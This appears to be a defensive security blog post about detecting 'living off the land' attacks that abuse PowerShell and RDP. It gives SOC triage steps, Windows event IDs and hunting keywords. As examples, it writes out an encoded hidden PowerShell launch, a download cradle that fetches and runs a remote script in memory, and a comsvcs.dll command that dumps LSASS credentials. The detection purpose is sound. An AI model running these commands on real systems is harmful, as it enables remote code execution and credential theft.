I've seen this play out more times than I can count. Incident response call comes in, team starts looking for the payload, the dropper, the C2 beacon — and finds nothing. No VirusTotal hits. No YARA matches. Just a bunch of PowerShell logs (if you're lucky enough to have them) and some RDP sessions that almost look normal.
That's Living Off The Land. And it's the reason signature-based security is slowly becoming a museum exhibit.
What Is LOLBins — and Why Attackers Love Them
Living Off The Land (LotL) means attackers weaponize tools already installed on your system — PowerShell, RDP, WMI, certutil, mshta. No custom malware needed.
Why? Because these tools are trusted, signed by Microsoft, and generate noise that looks like admin activity. Your EDR won't flag PowerShell by default. Your SIEM won't alert on RDP unless you've tuned it. The attacker blends into the wallpaper.
PowerShell Abuse — What It Actually Looks Like
PowerShell is the Swiss Army knife of both admins and attackers. The difference is intent — and that's exactly what makes detection hard.
Encoded Commands (Base64)
Attackers encode payloads to evade string-based detection and bypass logging at the command-line level.
powershell.exe -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdA...SOC POV: -Enc flag with a long Base64 string = immediate suspicion. Legit admins almost never need to encode their PowerShell commands. Decode it (CyberChef, [System.Text.Encoding]::Unicode.GetString) — you'll usually find a download cradle or in-memory loader underneath.
Download Cradles (IEX + Invoke-WebRequest)
IEX (New-Object Net.WebClient).DownloadString('http://185.220.x.x/stage2.ps1')This pulls a remote script and executes it entirely in memory — nothing touches disk. No file hash to catch. This is fileless execution in its simplest form. Variants include Invoke-WebRequest, Start-BitsTransfer, and increasingly, curl/wget aliases.
What to hunt: Outbound HTTP/HTTPS from powershell.exe processes. Any Net.WebClient or WebRequest calls in Script Block Logs. Parent process context — was PowerShell spawned by winword.exe? outlook.exe? That's your smoking gun.
Credential Dumping & Lateral Movement
Once in memory, the next move is almost always credential access. Tools like Mimikatz are often loaded via reflective injection — again, no file on disk. Or they abuse comsvcs.dll to dump LSASS:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\Temp\lsass.dmp fullThis is a signed Windows binary dumping credentials. Your AV will probably wave it through.
RDP Abuse — The Lateral Movement Expressway
RDP is where attackers move, not just persist. After initial access (usually phishing → credential theft), the playbook is predictable:
- Harvest credentials — from phishing, password spraying, or dumping from compromised host
- Identify internal targets — via
net view, AD enumeration, or BloodHound - RDP hop internally — using valid creds, often from a jump host they've already owned
What Makes It Hard to Catch
- Valid credentials = no authentication failure alerts
- Internal traffic = not crossing perimeter controls
- Protocol is expected = security teams often whitelist RDP noise entirely
Red Flags to Watch
- RDP logins at 2 AM from a finance user who never logs in remotely
- Same account authenticating from two geographically distant IPs within minutes
- A workstation (not a server) being used as a pivot point —
mstsc.exelaunched from an already-compromised host - New accounts performing RDP that have never done so before
Why These Attacks Slip Through
Let's be honest about the defensive gaps:
No signatures. PowerShell and RDP don't trigger AV. Period.
Alert fatigue. If your environment has 500 PowerShell executions an hour from legitimate admin scripts, tuning signal from noise becomes a full-time job — one most teams don't have bandwidth for.
Poor logging posture. By default, Windows doesn't enable Script Block Logging or Module Logging. If you're not collecting Microsoft-Windows-PowerShell/Operational and Security event logs (4624, 4625, 4648, 4778), you're flying blind.
Blends with admin behavior. A sysadmin running PowerShell remoting looks identical to an attacker doing the same thing. Context is everything — and context requires correlation.
Detection Strategies That Actually Work
PowerShell
- Enable Script Block Logging (
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging) — logs the actual decoded script, not just the command line - Hunt for
-Enc,-EncodedCommand,IEX,DownloadString,Reflection.Assemblyin command-line arguments - Unusual parent processes: PowerShell spawned by
explorer.exe, Office apps, orsvchost— flag it - Constrained Language Mode — enforce it on non-admin endpoints; it kills most attack chains
RDP
- Event ID 4624 (Logon Type 10) = Remote Interactive — baseline your environment and alert on deviations
- Event ID 4778/4779 = RDP session connect/disconnect — correlate with time and source IP
- Alert on first-time RDP from any account (new behavior = high signal)
- Monitor
mstsc.exebeing launched from unusual parent processes or non-standard user accounts

SIEM/EDR Correlation
- Chain:
phishing email delivery → attachment open → PowerShell spawn → outbound connection → RDP lateral movement— this sequence in a 4-hour window is your story - Use process tree visualization in your EDR — parent-child relationships expose the kill chain fast
Real SOC Investigation Approach
When a PowerShell alert fires, here's the triage flow:
Step 1 — Decode first. Grab the Base64, decode it. Don't spend 20 minutes theorizing — just look at what it actually does.
Step 2 — Check the parent process. Who spawned PowerShell? If it's winword.exe or outlook.exe, you're probably looking at an initial access payload. If it's cmd.exe from a service account at 3 AM, that's lateral movement or persistence.
Step 3 — Check for network connections. Did that PowerShell process make an outbound connection? To what IP/domain? Check passive DNS, VirusTotal, Shodan — is this a known bad actor infrastructure?
Step 4 — Pivot to the host. Pull the full process tree. What ran before? What ran after? Was LSASS accessed? Any new scheduled tasks or services created?
For RDP investigation:
- Who authenticated, from where, and when? Cross-reference with HR/IT — is this account supposed to be active? Is this user on leave?
- What did they do post-login? Process creation on destination host — did they run PowerShell? Access file shares? Create new users?
- Is this part of a chain? Check if the source IP is itself a workstation that was compromised first
Key questions every analyst should ask:
Is this behaviour normal for this user/host/time? What happened 10 minutes before and after this alert? Where did this account's credentials come from?
Key Takeaways
- Behaviour over signatures. If you're still relying on hash-based detection for modern threats, you're always going to be behind.
- Logging is non-negotiable. Script Block Logging, PowerShell Module Logging, proper Windows Event forwarding — if it's not enabled, you can't detect what you can't see.
- Context is the detection. The same PowerShell command can be legitimate or malicious — only process context, timing, and user behavior tell you which.
- RDP without MFA is an open door. Valid credentials + RDP = attacker's favorite lateral movement path. MFA on RDP, always.
- Assume breach posture matters. Hunt proactively. Don't wait for alerts — schedule regular threat hunts specifically for LOLBin abuse patterns.
The uncomfortable truth is that LotL attacks work because defenders are optimized for malware, and attackers know it. Shifting your detection philosophy from "find the bad file" to "find the bad behavior" is the mindset that actually catches these threats.